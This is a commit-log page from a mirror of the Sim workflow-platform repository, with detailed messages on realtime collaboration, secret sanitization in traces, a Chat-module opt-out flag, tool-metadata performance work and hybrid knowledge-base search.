mirror of
https://github.com/simstudioai/sim.git
synced 2026-09-24 15:45:35 +08:00
47e8f1eb5bde4e07368aded2ebcfd8d84bb49d89
417
Commits
| Author | SHA1 | Message | Date | |
|---|---|---|---|---|
|
18214158b9 |
fix(sanitization): secret exposure in function and agent trace spans (#6000)
* fix trace span secret sanitization * sanitize workflow output logs * preserve streaming usage estimates * Fix logging session test after staging merge * secrets sanitization correctness * fix(execution): address review regressions * fix(execution): harden secret trace provenance * fix(execution): preserve functional state during trace projection --------- Co-authored-by: Bill Leoutsakos <billleoutsakos@Mac.localdomain> Co-authored-by: Vikhyath Mondreti <vikhyath@simstudio.ai> |
||
|
Waleed
|
452d82a636 |
perf(tools): read tool metadata instead of the registry on client paths (#6155)
* perf(tools): read tool metadata instead of the registry on client paths Cuts the last four edges that pulled `@/tools/registry` into the workspace shell. Every workspace route drops ~4,700 modules: route before after /w (canvas) 6,592 1,908 -71% /logs 6,227 1,543 -75% /tables 5,903 1,217 -79% /files 5,996 1,310 -78% workspace layout 5,751 1,063 -82% Dev cold compile of the canvas, n=3, cache cleared between runs: before 32.3s / 31.4s / 30.1s RSS 9.0-12.5 GB after 22.4s / 22.2s / 21.6s RSS 7.8-9.2 GB That lands where the `dev:minimal` escape hatch measured (20.0s / 6.7 GB) without its downside — `dev:minimal` swaps in curated registries that drop ~250 services, whereas this keeps every tool working. Rewired: - `block-outputs` -> `getToolOutputsMetadata` (needed `outputs`) - `serializer` -> `getToolParams` (needed `params`) - `validation` -> `hasToolId` (needed existence only) - `tools/params` -> `getToolMetadata` (needed `params`, `oauth`, `name`) `tools/params.ts` was the stubborn one: `mcp-dynamic-args.tsx` imports only `formatParameterLabel` from it, so the whole registry rode in behind a string helper — the same shape as the `mergeToolParameters` edge cut earlier. Adds a third generated artifact, `tool-ids.ts` (~110 KB). Resolution needs only the key set, so `@/tools/metadata` and `@/tools/metadata-outputs` both resolve through it and stay independent of each other, and an existence check costs ~110 KB instead of ~4 MB. Behaviour preservation was the risk here: `getTool` resolves an unversioned name onto its newest version, and a plain key lookup would have silently reported 246 versioned tools as missing. `resolveToolId` is reproduced against the id set and differentially tested — 4,404 probes (every id, every stripped base name, and an unknown) comparing old vs new resolution and existence: 0 mismatches. `ToolWithParameters.toolConfig` and `SubBlocksForToolInput.toolConfig` narrow from `ToolConfig` to `ToolMetadata`. The only external reader is `tool-input.tsx`, which uses `.name`. * docs(tools): point the boundary skill at the three metadata modules The skill still routed `hasToolMetadata` and `getToolIds` to `@/tools/metadata`, but this PR moved id resolution into `@/tools/tool-ids`. Left as-is it would send the next caller to the 4 MB module for an existence check that costs 110 KB — the exact mistake the skill exists to prevent. Also records the two properties a caller can silently get wrong: lookups guard with `Object.hasOwn` (a bare bracket lookup returns inherited prototype members), and they resolve unversioned names (246 tools are versioned, and a plain lookup reports them missing rather than crashing). * fix(tools): cut the settings-route registry edge and fix serializer test mocks Two findings from review, both real. The settings route still reached the registry: settings/[section]/page.tsx -> settings.tsx -> (dynamic import) ee/access-control/components/access-control.tsx -> group-detail.tsx -> tools/utils.ts -> tools/registry.ts It reads `getTool(id)?.name` — metadata — so it moves to `getToolMetadata`. The earlier audit missed it because it walked only from the canvas route, and the edge hides behind a dynamic `import()` that a static walk skips. Serializer tests mocked the wrong module. `Serializer` now reads params via `getToolParams` from `@/tools/metadata`, but the tests still only mocked `@/tools/utils`, so they controlled nothing and passed because the real generated artifacts happen to agree with the fixtures. Adds `toolsMetadataMock` to `@sim/testing/mocks`, backed by the same `mockToolConfigs` as `toolsUtilsMock` so a test mocking both sees one consistent tool universe, and mocks it in the three serializer suites. Verified the mock is now load-bearing: pointing it at a sentinel param makes the three user-only-required validation tests fail, and restoring it returns all 110 serializer tests to green. Before this they passed either way. * fix(tools): freeze the tool id array handed out by getToolIds `getToolIds()` returned the module's internal array by reference, so a caller doing `getToolIds().sort()` would reorder it in place and silently corrupt every later lookup — the in-place-mutation footgun `.claude/rules/sim-react-performance.md` calls out. Frozen rather than copied: the array is consumed in loops, so copying would allocate on every call. Freezing makes the mutation throw instead of corrupt, and `[...getToolIds()].sort()` still works. Return type is now `readonly string[]`, so the mistake is a compile error rather than a runtime surprise. No caller mutates it today; this is closing the hole, not fixing a live bug. * test(tools): enforce that the two tool-id resolvers never diverge `resolveToolId` now exists twice on purpose — `@/tools/utils` resolves against the live registry (so a tool added before regeneration still resolves at runtime), `@/tools/tool-ids` against the generated id list (so client code resolves without importing 4,300 tools). Nothing structurally kept them in step; a change to versioning logic in one would silently drift from the other. `tool-metadata:check` now asserts they agree across every id, every stripped base name, and an unknown — 4,404 probes — and only after the staleness check passes, so a missing regeneration reports as staleness rather than as drift. Verified it fails: breaking resolution for `gmail*` exits 1; restoring it passes. It cannot live in a vitest suite. `vitest.setup.ts` globally mocks `@/tools/registry` to an empty map, so `getTool` resolves nothing there — a parity test written as a spec passes or fails for the wrong reason. Both facts are recorded where the code is. Both resolvers stay exported. An earlier pass here un-exported the `@/tools/utils` one as dead; `tools/utils.server.ts` imports it through a multi-line import that a grep missed, and `tsc` caught it. Its doc now says which resolver a caller should reach for instead of leaving two identically-named functions unexplained. |
||
|
Waleedandmzxchandra
|
10bfb5d139 |
feat(realtime): shared room spine + live Files/Tables collaboration + Yjs document editing (#5991)
* feat(realtime): add shared room identity + authorization spine (#5929) Introduces the foundation for a unified realtime "room" model spanning the Socket.IO presence server (apps/realtime), the durable SSE event log, and the ephemeral pub/sub fanout — all of which today reinvent their own room identity, naming, and authorization. - @sim/realtime-protocol/rooms: RoomRef { type, id }, ROOM_TYPES, and a roomName/parseRoomName codec. WORKFLOW deliberately maps to the bare id so the ~40 existing io.to(workflowId) callsites and presence state keys are unchanged; every other room type is namespaced so id spaces cannot collide. - @sim/platform-authz/rooms: authorizeRoom(userId, room, action) generalizing the exemplary authorizeWorkflowByWorkspacePermission — one resource->workspace resolver per room type, then the shared resolveEffectiveWorkspacePermission + permissionSatisfies gate. Pure foundation, no behavior change: nothing consumes these yet. Prune graph stays at 14/25 (platform-authz already depended transitively on realtime-protocol via apps/realtime). * refactor(realtime): generalize presence server to multi-room [2/N] (#5930) * refactor(realtime): generalize presence server to multi-room (RoomRef) Generalizes the Socket.IO presence layer from single-workflow-room-per-socket to a domain-neutral, multi-room-per-socket model keyed by RoomRef, so a second domain (workspace files, next PR) can reuse the same membership + presence engine. Behavior-preserving for workflow collaboration. IRoomManager is now domain-neutral (addUserToRoom/removeUserFromRoom/ getRoomForSocket/getRoomUsers/updateUserActivity/... all take a RoomRef). The workflow lifecycle broadcasts (deletion/revert/update/deploy) move out of the manager into WorkflowRoomService, composed over the generic manager. Backward-compat by design (no workflow migration, no regression): - Workflow Socket.IO room name stays the bare workflowId (roomName() maps workflow -> bare id), so the ~40 io.to(workflowId) callsites are untouched. - Workflow Redis presence keys stay workflow:{id}:users/:meta (the type prefix IS "workflow"). Multi-room correctness (from adversarial audit): - socket:{id}:workflow single-value key -> socket:{id}:rooms HASH (type->id). - The SHARED socket:{id}:session key is deleted only when the socket leaves its LAST room (refcount via HLEN) — a leave from one room no longer breaks the other room's handlers. - disconnect enumerates the socket's stored rooms and rebroadcasts presence per room, instead of picking an arbitrary socket.rooms entry. - presence broadcasts use a per-room-type event name (workflow keeps the bare presence-update; others are namespaced). Workflow handlers wrap manager calls with a shared workflowRoom(id) helper; UserPresence.workflowId -> room (the client never reads that field). Tests: existing 112 realtime tests pass unchanged (behavior gate) + 7 new multi-room tests (refcounted session, presence isolation, multi-room disconnect, per-type event names). tsc clean, boundaries + prune (14/25) green. * fix(realtime): harden multi-room disconnect + id-guard room removal Two fixes from an adversarial regression audit of the multi-room refactor: - Disconnect now handles `disconnecting` (where `socket.rooms` is still populated and authoritative) and falls back to the live Socket.IO room set for any room the manager's stored state no longer tracked. This restores reliable presence cleanup + departure broadcast even if the Redis `socket:{id}:rooms` key was evicted or TTL-expired — the one behavioral gap vs the pre-refactor disconnect. - REMOVE_ROOM_SCRIPT now only drops the socket's room mapping (and runs the last-room session cleanup) when the stored id matches the room being removed, matching the memory manager's existing id guard. Prevents a mismatched-room call from wiping a different room's mapping or the shared session. +1 test (id-guarded no-op removal). 120 realtime tests pass, tsc clean. * fix(realtime): only rebroadcast disconnect-fallback rooms whose removal succeeded Greptile 4/5 follow-up: the disconnecting-time fallback ignored removeUserFromRoom's boolean and rebroadcast presence even when the removal reported false. Now it only treats a room as removed (and rebroadcasts) when the manager confirms it — symmetric with removeSocketFromAllRooms, which already only returns rooms it actually removed. * fix(realtime): exclude the disconnecting socket from its farewell broadcast Greptile follow-up (transient-Redis-failure edge): if removeUserFromRoom fails on disconnect, the socket's presence entry can outlive it (room hashes have no TTL) and reappear as a ghost. Disconnect now broadcasts a correction to EVERY room the socket was in (union of the manager's removed rooms and the live Socket.IO membership) and passes the disconnecting socket id as excludeSocketId, so it is never shown as a collaborator regardless of whether the Redis delete succeeded. Any orphaned entry is still reclaimed by the next join's stale-presence sweep. broadcastPresenceUpdate gains an optional excludeSocketId; normal broadcasts are unchanged. +1 test. * fix(realtime): make presence broadcasts liveness-aware (root-cause ghost fix) Presence broadcasts now reconcile the stored list against the live Socket.IO membership (io.in(room).fetchSockets()) before emitting, via a shared filterVisiblePresence helper. This closes the residual behind the earlier disconnect fixes: an entry orphaned by a failed removal (room hashes have no TTL) could reappear in a LATER join's presence snapshot until the 75-min stale sweep. Now such an entry is never emitted, because a non-live socket is filtered out of every broadcast. Combined with excludeSocketId (which handles the disconnecting socket, still momentarily live). Fail-safe: on a fetchSockets throw or an empty result while entries remain, emit the unfiltered list rather than hide live collaborators. Also drops a dead guard in the disconnect union loop (rooms already removed are skipped by the wasInRooms check) and the now-unused isSameRoom import. +1 ghost-guard test. 122 realtime tests pass. * feat(files): live presence avatars + live file tree via realtime rooms (#5932) * refactor(tables): adopt shared durable event-log core (#5934) * fix(realtime): address post-merge review-comment findings (#5937) * fix(realtime): address post-merge review-comment findings A re-audit of every inline review comment on the merged stack surfaced real issues that the thread-resolutions and prior audits missed. Fixes: Presence server (#5930 comments): - connection.ts: snapshot `socket.rooms` SYNCHRONOUSLY before the first await. Socket.IO clears the room set once the synchronous part of a `disconnecting` handler returns, so reading it after `await removeSocketFromAllRooms` saw an empty set — the eviction fallback was dead. (Cursor: "Disconnect fallback misses live rooms".) - workflow-room-service: restore the original managers' final unconditional room-state wipe via a new `deleteRoom(room)` manager method, so a deleted workflow leaves no lingering presence/meta even if a per-socket removal failed or a socket joined mid-teardown. (Cursor: "Deletion skips final room wipe".) Files (#5932 comments): - workspace-file-manager.uploadWorkspaceFile now fans out the live-tree signal (all direct-upload paths: multipart fallback, copilot create, /api/files/upload, v1 files — the presigned path already notified). (Cursor: "Creates miss live tree fan-out".) - use-workspace-files-room: clear the pending retry timer on join success; and a module-scoped intended-room guard defers the unmount `leave` so a rapid remount re-claims the room and skips a stale leave — fixing presence flap + a leave-after-join race. (Cursor: "Retry timer survives join success" + "Remount churns files presence".) - workspace-files handler: roll back a partial join (leave room + remove presence) in the catch, mirroring the workflow join. (Cursor: "Join failure skips membership rollback".) +2 tests (deleteRoom). 127 realtime tests pass, both apps tsc clean, api-validation + boundaries green. * fix(files): scope workspace-files leave to a workspace (deferred-leave safety) Self-review of the deferred-leave guard found a real bug: leave-workspace-files was not workspace-scoped, so after a workspace switch (A->B) the deferred leave from A would evict the socket from its new room B. The leave now carries the workspaceId and the server no-ops if the socket's current files room differs. Also excludes the leaving socket from the leave broadcast (consistent with disconnect). * fix(realtime): close files-room presence leak + validate join payload Architecture-audit findings: - S1 (real Redis leak): the files room inherited the shared manager but not the workflow join's liveness sweep, so an UNGRACEFUL disconnect (pod crash — no `disconnecting` event) left its presence entry in the no-TTL room hash forever. Added a shared `sweepStalePresence(manager, room)` (fetchSockets liveness + remove not-live-AND-stale entries, matching the workflow 75min threshold) and run it on files join; also filter the join ack through `filterVisiblePresence` so a joiner never briefly sees an un-swept ghost. - S2: validate the client-supplied `workspaceId` on files join before it reaches the DB query (matches the /api/workspace-files-changed guard; fails closed). - N2: corrected the notify doc — it is awaited (guaranteed dispatch before a Node route returns) and hard-bounded to NOTIFY_TIMEOUT_MS, not "never block". +1 test (sweepStalePresence keeps live/fresh, reclaims not-live-stale). 128 realtime tests pass, both apps tsc clean, biome clean. * fix(realtime): workflow-deletion always notifies + cleans by socket.io membership Review-round findings on #5937: - Always emit `workflow-deleted` (was guarded by users.length>0), so a socket still in the Socket.IO room after a Redis presence eviction is told the workflow is gone before socketsLeave kicks it — the editor no longer keeps showing a deleted workflow. (Cursor: "Silent kick skips deletion event".) - Clean per-socket state for the UNION of live Socket.IO members and presence-tracked sockets, so an evicted/late-joined socket's room mapping + session are dropped too — not just presence-snapshot sockets. (Greptile: "Room deletion leaves reverse state".) - deleteRoom now logs AND rethrows on Redis failure (like addUserToRoom) so a failed wipe isn't reported as a clean deletion; the request surfaces it. (Greptile: "Room deletion failures are suppressed".) The two "deferred leave drops new membership" P1s were already fixed by the workspace-scoped leave in a prior commit (leave carries { workspaceId }; server no-ops on mismatch). 128 tests pass, tsc + biome clean. * refactor(files): drop module-scoped deferred-leave; rely on workspace-scoped leave Removes the one non-idiomatic construct (a module-level mutable `intendedFilesWorkspaceId` + queueMicrotask). It only guarded a same-workspace CONCURRENT remount, which doesn't occur in production (folder nav is shallow/no remount; list<->detail is sequential) — a dev-StrictMode-only case. The real cross-workspace race is already handled by the workspace-scoped leave: if B's join runs first (auto-leaving A), A's leave no-ops because the socket's current files room is B. Simpler, idiomatic, prod-correct. * feat(realtime): Yjs relay server for collaborative document editing [4/N] (#5941) Server-side Yjs relay for collaborative document editing (live carets + text selection) in the Files rich-markdown editor. Faithful y-websocket-style relay over the existing authenticated Socket.IO connection + shared room abstraction; in-memory Y.Doc + Awareness per file; awareness ownership binding, userId-keyed client-id uniqueness, seeder election with deadline re-election, concurrent-JOIN generation guard. 25 relay tests. Reviewed to Greptile 5/5 + Cursor pass across multiple rounds, plus an independent 4-lens audit (correctness/security/conventions/simplicity) and /simplify + /cleanup passes. * feat(files): collaborative document editing — client provider + editor (#5946) Client Yjs provider (FileDocProvider over the authenticated socket) + TipTap Collaboration/CollaborationCaret wiring for live carets + text-selection in the Files rich-markdown editor. Collaboration is a Files-page-only surface (explicit `collaborative` opt-in), disjoint from agent-streaming. Read-only + autosave-gated until synced+seeded. Merges into the realtime-rooms integration branch. * feat(tables): live collaboration — cell-selection presence + live mutation propagation (#5957) * feat(tables): live cell-selection presence — protocol + server + client hook The realtime spine for Google-Sheets-style table presence (mode A, socket): - @sim/realtime-protocol/table-presence: centralized wire protocol (events + TableCellSelection {anchor, focus, editing} + payloads) so server emits and client subscriptions can't drift. - ROOM_TYPES.TABLE + resolveTableWorkspace registered in ROOM_WORKSPACE_RESOLVERS (tableId -> workspace via userTableDefinitions, honoring archivedAt); roomName / presenceEventName / disconnect cleanup / authorizeRoom all derive automatically. - apps/realtime/src/handlers/tables.ts: join/leave (mirrors workspace-files) + a table-cell-selection relay (mirrors the workflow selection channel), broadcasting via roomName(room) since table rooms are namespaced. UserPresence gains a cell field threaded through the memory + Redis managers (Lua ARGV[7], null clears). - Extracted the duplicated resolveAvatarUrl into handlers/avatar.ts. - use-table-room.ts client hook: joins over the shared socket, tracks the roster (avatars) + patches per-socket cell deltas, exposes a throttled emitCellSelection. Grid UI (avatars + selection overlay) lands next; concurrent cell-value edits (last-write-wins via the durable log) are the follow-up PR. * feat(tables): render live cell-selection presence in the grid Wires the table presence room into the grid UI: - Page (table.tsx): useTableRoom (gated off in embedded/mothership mode) — renders <PresenceAvatars> in the header and passes remoteSelections + emitCellSelection down to the grid. - Grid emits its local selection: an effect resolves the index-based anchor/focus to stable (rowId, columnId) via refs and broadcasts it (with an editing flag for the active cell) through the throttled emitter. - RemoteSelectionOverlay: draws each remote viewer's selection in their color (getUserColor), a darker fill while editing, and name-on-hover — measured from live cell rects in the content wrapper's space (scrolls with the grid), hidden when rows are virtualized off-window, pointer-events-none so it never blocks cell clicks (hover via pointer hit-test). * test(tables): cover the table presence handler Mirrors workspace-files.test.ts: join auth/unavailable/denied/success, plus the cell-selection relay (asserts it persists via updateUserActivity and broadcasts on the namespaced roomName, not the bare id) and leave. * feat(tables): propagate manual cell edits live (last-write-wins) A manual row edit now appends a lightweight 'edit' event to the durable table stream; collaborators refetch the row (via the existing debounced rows-invalidate the job events use) so the winning value shows live. The event carries no value — peers refetch in their own wire format, so there's no auth-specific value translation on the wire, and last-write-wins falls out of the DB's committed order (the Google-Sheets model). Edits that also trigger a dispatch already emit dispatch/cell events; the debounce coalesces the two. * refactor(tables): apply /simplify findings - Drop the dead 'add unknown peer' upsert branch in use-table-room (Socket.IO ordering guarantees a peer is in the roster before their selection delta). - TableCellSelectionBroadcast = TablePresenceUser & { cell } (was a copy-paste). - Make TableGrid's presence props required + drop the unused empty-default/guard (only table.tsx mounts it, always passing both). - Drop the unused rowId from the 'edit' event (the handler invalidates all rows). - Overlay: subscribe scroll/resize/pointer listeners once per scroll element and cache the wrapper origin, so incoming deltas re-measure without re-subscribing and the pointer hit-test never forces a per-move layout read. - Server: cache the immutable socket session so a selection delta no longer reads it from Redis every time. * refactor(tables): apply /cleanup findings - Fix the remote-selection name label contrast: text-white is unreadable on the light-pastel user colors (same bug the Files caret fixed) → fixed dark #1a1a1a. - Re-measure via useLayoutEffect so a moving peer selection updates before paint (no one-frame position lag). - Drop 'mothership' from a comment (constitution copy rule). Six cleanup passes ran (effect, memo/callback, state, react-query, emcn, comment); the rest confirmed clean — all state/memos/callbacks/effects are load-bearing, presence correctly lives in useState (socket-pushed), and the edit→rows-invalidate granularity is right. * feat(tables): propagate every table mutation live (edit + schema signals) Comprehensive live collaboration for all user table mutations, via two value-less durable signals + named helpers (signalTableRowsChanged / signalTableSchemaChanged): - edit (rows refetch): single + batch row create, cell/row update, batch update, delete by id/filter, and upsert. - schema (definition + rows refetch): column add/update/delete, workflow-group add/update/delete, table rename, and CSV import (which can add columns). - Client handles 'schema' by invalidating the table detail (exact) + rows. Execution paths (column run, cancel-runs) and async jobs (delete/import-async, job-cancel) already propagate via cell/dispatch/job events — verified applyJob refetches on terminal. No reorder routes exist. Table archive (route DELETE) is a deliberate follow-up: it needs a table-deleted redirect event, not a refetch signal (which would 404). * refactor(tables): apply comprehensive /cleanup audit findings Holistic + react-query + comment audits over the whole PR: - Security/crash fix: a remote peer's rowId flowed unescaped into the overlay's querySelector — a hostile id ('x"]') threw SyntaxError inside a useLayoutEffect, crashing every other viewer's page. CSS.escape it, and validate + whitelist the untrusted cell payload server-side (shape + 200-char id bound) before it is stored/rebroadcast. - Simplify the CELL_SELECTION relay: the delta attached userId/userName/avatarUrl that the client discarded (identity comes from the roster). Drop them + the getUserSession lookup/cache entirely — the delta is now { socketId, cell }. - React Query: schema handler also invalidates lists() (parity with the local column-mutation set); document that the mutating client self-refetches by design. - Comment tightenings; biome fixed a stale import order in workspace-files.ts. * fix(tables): broadcast single-cell selections (focus falls back to anchor) Cursor High: a normal cell click leaves selectionFocus null (the grid treats it as a one-cell selection via focus ?? anchor), but the presence emit required BOTH anchor and focus to resolve — so the most common selection never broadcast and clicking even cleared a prior remote outline. Mirror the grid's focus ?? anchor semantics. * fix(tables): reviewer + regression + per-LOC audit findings Cursor review round (5 findings) + regression audit + per-LOC audit: - Presence roster snapshot now KEEPS the cell we already hold for a known socket, so a join/leave broadcast can't revert a fresher CELL_SELECTION delta. - Reset the selection throttle on table switch (was unmount-only), so a pending selection for table A can't flush into table B's room after a switch. - Metadata writes (column widths, display) use a new lightweight 'metadata' signal that refetches only the definition — a resize no longer forces peers to refetch rows. - Overlay re-measures on row add/remove/reorder via a tbody childList MutationObserver (a live refetch moves cells without a scroll/resize). - Document the actor self-refetch create caveat (scrolled multi-page insert) accurately. - isCellRef narrows to a partial instead of casting to the full type then re-checking; drop a redundant mount measure() (the layout effect covers it); text-[11px]→text-xs. * fix(tables): drop ineffective metadata propagation + re-measure overlay on column resize Cursor round on |
||
|
Theodore Li
|
4ef7bbad53 | fix(db): index large-value workflow_id FKs so workflow deletes don't seq-scan (#6136) | ||
|
Theodore LiandClaude Opus 5
|
c5cc6ce26c |
feat(chat): hide the Chat module when NEXT_PUBLIC_CHAT_DISABLED is set (#6137)
* feat(chat): hide the Chat module when CHAT_ENABLED is unset A self-hosted deployment that skipped the chat key still rendered the full mothership Chat UI, landing on the composer and 401ing on every message. Gate it behind a CHAT_ENABLED / NEXT_PUBLIC_CHAT_ENABLED twin, written by the setup wizard alongside COPILOT_API_KEY and validated by the existing FLAG_TWINS doctor check. The flag resolves at module scope on both render passes, so no chat surface renders then disappears. With Chat off the workspace lands on its first workflow (resolved server-side, behind the cached host-context check so no workflow id leaks to non-members), and the chats list, scheduled tasks, editor Chat panel, and chat CTAs are absent. Routes are gated rather than deleted: /home redirects because it is baked into delivered invitation emails and the accept contract. Also fixes two bugs the gate exposed: a persisted activeTab of 'copilot' left the workflow panel blank from first paint, and the panel's handoff listener claimed MOTHERSHIP_SEND_MESSAGE events outside its own gate, silently swallowing "Fix in Chat" messages. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_012ErcRgvi7VQBeKDQ3MBMha * refactor(chat): gate the UI on NEXT_PUBLIC_CHAT_DISABLED, not an opt-in flag CHAT_ENABLED made Chat opt-in, so every existing deployment that already had COPILOT_API_KEY would have lost the module until it set a new variable. Invert to an opt-out so nothing changes for them. That also collapses the twin. The only reason the flag needed a server/client pair was that it projected a secret; NEXT_PUBLIC_CHAT_DISABLED is not one, so getEnv resolves the same value from process.env on the server and window.__ENV in the browser. Gone with it: the FLAG_TWINS entry and its doctor sync check, the two-variable wizard write, and the boot-time throw, whose contradiction (flag on, key absent) can no longer be expressed. Presentation and capability are now separate concerns. NEXT_PUBLIC_CHAT_DISABLED decides whether the surfaces render; COPILOT_API_KEY decides whether the work can run, and gates the paths that need it — the Sim Chat block, prompt-job claims, and inbox access — each failing on its own terms. The wizard writes the opt-out when you skip the chat key, which is the case this started from: a fresh self-host that never configured Chat. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_012ErcRgvi7VQBeKDQ3MBMha * feat(setup): prompt for the chat key in k8s mode The dev and compose flows minted a chat key and wrote the Chat opt-out alongside it; k8s did neither, so a cluster install with no COPILOT_API_KEY in its Helm values rendered a Chat module that rejects every message. Prompt with the same flow and feed both values into `app.env`, which the chart already renders as arbitrary container env. Reading the previous release's key matters here in a way it does not for the file-based modes: `helm upgrade` without `--reuse-values` keeps only what this document carries, so a key the user elects to keep has to be re-supplied or it is silently dropped. Splits the release-values read from the secret-reuse check so both the key and the secrets come from one `helm get values` call, and carries the mothership override across for the same mint-here-validate-there reason the other modes document. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_012ErcRgvi7VQBeKDQ3MBMha * fix(setup): write app-behavior flags to every env file the app can start from The wizard wrote the Chat opt-out only to the env file its own mode owns, so choosing compose put it in the root `.env` while `bun run dev` reads `apps/sim/.env` and never saw it. Skipping the chat key appeared to do nothing. Mirror values that change how the app behaves — as opposed to where it connects — across both targets. Connection settings deliberately do not go through this: DATABASE_URL and friends differ between the compose stack and a local dev run, which is why this takes an explicit set of values rather than the whole batch. The mirrored file is written even when absent, since missing is exactly the case that stranded the flag, but with seeding suppressed so a compose run leaves a one-line apps/sim/.env instead of a full .env.example for a stack the user is not running. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_012ErcRgvi7VQBeKDQ3MBMha * fix(compose): forward NEXT_PUBLIC_CHAT_DISABLED to the app container The wizard wrote the flag into the root .env, but compose only passes through variables the service's `environment` block names — and that block listed COPILOT_API_KEY without its companion. Skipping the chat key on a Docker install therefore did nothing: the value sat in .env and never reached the container. Add the passthrough to all four compose files. Reverts the previous commit's mirroring into apps/sim/.env, which treated the symptom — each mode writes only the env file it owns, and that file is now wired correctly. k8s needs no equivalent: its values flow into `app.env`, which the chart renders key by key. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_012ErcRgvi7VQBeKDQ3MBMha * fix(chat): resolve the landing route without blocking on the database Server-resolving the first workflow meant a session lookup, an access check and a query had to finish before anything rendered. A slow or unreachable database left the user on a blank page under a populated sidebar — worse than the instant redirect it replaced, and with no signal that anything was wrong. Redirect straight to `/w` instead and let it pick from the workflow list the layout already prefetches, so the choice costs no round trip and cannot hang. Repoints the sidebar's primary action rather than hiding it: the slot that offered "New chat" now offers "New workflow" and creates one, since with Chat off there is no composer to open but the intent is the same. Sends the CLI key handoff to signup rather than login. It is reached from a terminal — usually the setup wizard standing up a fresh self-host — where the visitor has no account yet. Both auth pages cross-link carrying the callback, so a returning user is one click from login with their destination intact. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_012ErcRgvi7VQBeKDQ3MBMha * improvement(chat): address cleanup-pass findings on the Chat gate Effects: the panel's auto-select effect read the copilot chat list while the list query was deliberately skipped, took "empty" for "deleted in another tab", and cleared the user's selection — latching a ref that stopped it ever being restored. Guarded on the same condition as the handoff listener. Memo: `/w` filtered workflows through a useMemo whose array dependency was a fresh `[]` on every render while the query had no data — the exact window the page exists for — so it memoized nothing and re-fired the redirect effect. Keyed on the workflow id instead. Same unstable-default problem on the sidebar's chat list, where it invalidated five downstream memos; given a stable empty constant. Callback: `handleCreateWorkflow` listed the whole mutation object in its deps, which TanStack recreates every render. Harmless until this branch wired it into the top nav, where it defeated `memo(SidebarNavItem)`. React Query: Recently Deleted still fetched archived chats unconditionally and offered restores into routes that now 404. Also surfaces an error state on `/w` — it is the landing route now, so a failed list fetch would otherwise spin forever behind a log line — fixes a spinner using a token undefined in dark mode, and trims comments that restated code. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_012ErcRgvi7VQBeKDQ3MBMha * fix(chat): gate workflow creation on write access, pin the key in schedule tests The zero-workflow landing offered "Create workflow" to every member. Creation navigates optimistically, so a read-only member was sent to a workflow the server had already refused to create, with the failure never surfaced. Gate both entry points — the empty state and the sidebar's "New workflow" row — on the same `canEdit` check the rest of the sidebar uses, and tell read-only members who can make one instead of offering an action that cannot succeed. The schedule-execution tests only passed locally because vitest loads the developer's own `.env`, which supplied COPILOT_API_KEY; CI has none, so the prompt-job claim guard skipped the claims those cases assert on. Pin the key through the env mock so the suite states its own preconditions. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_012ErcRgvi7VQBeKDQ3MBMha * fix(setup): name both variables in the chat-key failure hint The caller writes the Chat opt-out whenever the prompt returns no key, so the hint's "or set COPILOT_API_KEY yourself" restored capability while leaving the module hidden — the one path where following setup's own advice does not work. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_012ErcRgvi7VQBeKDQ3MBMha --------- Co-authored-by: Claude Opus 5 (1M context) <noreply@anthropic.com> |
||
|
Waleed
|
5c29d833af |
improvement(ui): drop full-content hover tooltips (#6128)
* improvement(ui): drop full-content hover tooltips - remove the chunk-content tooltip in the KB chunks table (it forced the full chunk body on every truncated row) - remove the sub-block value tooltip on collapsed workflow blocks (whole prompts/code/JSON on hover) - replace the native `title` on subflow and note blocks with the clip-gated OverflowSpan - clip-gate the KB documents tags cell so it stops firing on fully visible tags - drop the dead tooltip on the resource header root title, which can never truncate * fix(workflow-renderer): default the optional note name for OverflowSpan |
||
|
Waleed
|
ed23330f88 |
feat(knowledge): opt-in hybrid lexical + vector retrieval for KB search (#6124)
* feat(knowledge): hybrid lexical + vector retrieval for KB search KB search ranked purely on pgvector cosine distance, which retrieves exact tokens (error codes, ticket keys, identifiers, rare product names) poorly. Add a full-text leg over the already-present generated `embedding.content_tsv` column and its GIN index — no migration, no re-indexing — and fuse it with the vector leg by reciprocal rank. Both legs run concurrently and share the same visibility and tag-filter predicates; the lexical leg is best-effort and falls back to vector-only on failure. Hybrid is the default for every caller. `searchMode: 'vector'` on the internal and v1 contracts (and an advanced Retrieval Mode dropdown on the Knowledge block) restores the previous behavior. Both search routes now share one `executeKnowledgeSearch` dispatch instead of duplicating the three-branch retrieval logic. * change(knowledge): make vector the default search mode, hybrid opt-in Every existing caller — workflow block, v1 API, copilot, guardrail RAG — keeps its current ranking. Hybrid retrieval is now requested explicitly via `searchMode: 'hybrid'`. Also routes the copilot knowledge tool through the shared `executeKnowledgeSearch` dispatch so all four callers share one retrieval path, and documents `searchMode` on the public v1 search endpoint in the OpenAPI spec. * docs(knowledge): document the hybrid retrieval mode Regenerates the knowledge integration reference for the new searchMode tool param, and adds a Retrieval Mode section to the knowledge base workflow guide explaining when hybrid beats vector-only. * fix(knowledge): stop rank fusion from starving the lexical leg Rank n in one leg always ties rank n in the other, so ordering the fused list by score alone let whichever leg was scored first take every tied slot. At topK=1 that meant a hybrid search returned exactly the vector-only result and discarded the exact keyword match the mode exists to recover. Selection now orders by score and drains each tie group round-robin, taking from whichever leg has contributed fewest rows so far. The lexical leg is passed first so it wins a total tie, since a chunk the vector leg ranked below its distance threshold is the case hybrid was opted into for. * fix(knowledge): credit a shared hit to every leg that returned it Attributing a row found by both legs to a single leg left the round-robin owing the other leg a slot it had already been served. With a shared rank-1 hit and topK 2, that evicted the lexical-only row — the exact match hybrid was enabled to recover — in favor of the vector-only one. A shared row satisfied every leg that returned it, so every one of them is now charged for it. Tie-breaking prefers the candidate whose least-served leg has been served least, which also removes the arbitrary best-rank 